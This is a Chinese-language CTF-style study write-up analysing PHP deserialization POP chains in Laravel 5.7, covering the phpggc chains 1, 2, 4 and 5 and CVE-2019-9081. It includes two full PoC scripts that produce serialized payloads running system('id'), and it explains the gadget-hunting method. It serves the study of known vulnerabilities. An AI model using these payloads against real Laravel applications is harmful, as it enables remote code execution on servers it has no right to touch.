laravel5_7反序列化分析学习

laravel5_7 pop分析

前言

主要是在五度空间的比赛中碰到了laravel的题目,版本是5.7,赛后复现故尝试做一下总结。着实学到了不少关于找pop链的技巧。

环境

PHP版本是7.1.7,Nginx 1.14,操作系统osx 14.6 这个基本上不影响。

pop链分析

phpggc 链1,4

1和4链其实都是同一个类型的。理解起来比较简单,主要就是触发Faker\Generator的__call方法。

1
2
3
4
5
<?php
//简化下就是
public function __call(){
return call_user_func_array($this->formatters[$function_key],$paramters);
}

还有一个比较难用的点,就是通过Illuminate\Validation\Validator的callExtension方法来执行任意函数。

这里触发的是Validator的__call方法,但是有个方法名长度的限制。

1
2
3
4
5
6
7
8
9
10
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));

if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}

....
}

所以必须要类似于addCollection这样的方法才可以触发。

最后的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

namespace Illuminate\Validation {
class Validator
{
public function __construct($extension)
{
$this->extensions = $extension;
}
}
}

namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}

namespace {

$v1 = new Illuminate\Validation\Validator([substr('addCollection', 8) => 'system']);
$payload = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($v1, 'id');
echo urlencode(serialize($payload));
}

触发点只要是形如xxx->not_existed_mothod($arguments)

找到的几个触发点

  1. Swift_Mime_SimpleMimeEntity的__destruct方法(需要swiftmailer组件)

    1
    2
    3
    4
    5
    6
    public function __destruct()
    {
    if ($this->cache instanceof Swift_KeyCache) {
    $this->cache->clearAll($this->cacheKey);
    }
    }
  2. Symfony\Component\Routing\Loader\Configurator\ImportConfigurator 和 CollectionConfigurator

    1
    2
    3
    4
    5
    //类似
    public function __destruct()
    {
    $this->parent->addCollection($this->route);
    }
  3. Illuminate\Contracts\Events\Dispatcher\PendingBroadcast

1
2
3
4
5
public function __destruct()
{
//return "no here!";
$this->events->dispatch($this->event);
}

这里没必要给完整的pop链了,最后结果

image.png

主要思路就是找类似于$this->$client->no_exist_function($params)加上Faker\Generator的__call方法(该__call方法第一个参数可以完全控制)。

phpggc 链2

触发点和链1是一样的,但是这里利用了一个$function($p1,$p2)

1
2
3
4
//namespace Illuminate\Events 中的Dispatcher
...
$response = $listener($event, $payload);
...

然而system刚刚好有两个参数,所以可以被调用。如果这里的参数不对就会返回null。

phpggc 链3

很可惜不能用了。

phpggc 链5

链5和1,4最大不一样的地方在于,使用call_user_func执行了EvalLoader类的load方法,而在该方法中,存在eval执行代码从而达成目的。

来跟踪一下链5,首先是由还是由Illuminate\Broadcasting的PendingBroadcast

image.png

但这里不同的是,链5并不触发__call,这里构造调用了\Illuminate\Bus\Dispatcher类的dispatch方法。

继续跟进。
image.png

看看dispatchToQueue方法,这里直接使用call_user_func调用了Mockery\Loader\EvalLoder的load方法,
image.png

然后进入loader方法,这里要找一个不存在的classname。
image.png

使用<?php $code;?>执行代码,达到效果。
image.png

CVE-2019-9081

这个链是最特别的,也是学到最多东西的。

该链poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
//gadgets.php
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
protected $command;
protected $parameters;
protected $app;
public $test;

public function __construct($command, $parameters, $class, $app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test = $class;
$this->app = $app;
}
}
}

namespace Illuminate\Auth {
class GenericUser
{
protected $attributes;
public function __construct(array $attributes)
{
$this->attributes = $attributes;
}
}
}


namespace Illuminate\Foundation {
class Application
{
protected $hasBeenBootstrapped = false;
protected $bindings;

public function __construct($bind)
{
$this->bindings = $bind;
}
}
}

namespace {
$test = new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1")));
$app = new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application")));
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system", array('id'), $class, $app)));
}

漏洞的触发点在,\Illuminate\Foundation\Testing\PendingCommand上。

image.png

在run函数,需要用一些技巧来过渡
mockConsoleOutput函数
image.png

GenericUser有可控的__get方法,可以用来过度getQuestion方法和unset($this->expectedQuestions[$i])方法。
image.png

由于Illuminate\Foundation\Application类集成了Container,而Container又实现了ArrayAccess接口,所以,当application类执行数组访问操作的时候会调用offsetGet方法。offsetGet调用make方法。

image.png

最后调用Container类的build方法,通过反射机制获取到一个Application对象。

image.png

image.png

Application对象的call方法。
image.png

image.png

image.png

这条链跟下来,发现其实主要的难点还是在生成一个新的Application对象的位置。

一个技巧是通过可控的__get方法,来绕过一些函数的验证。

总结

几条链跟下来收获颇多,一个点是找头,专注于__destruct,__wakeup函数发现触发点。一个是找利用点,例如call_user_func_array函数。中间的步骤可以找__call函数,或者沿着继承链向上找可利用函数来接上,还要记得活用类似于可以控制的__get这样的函数。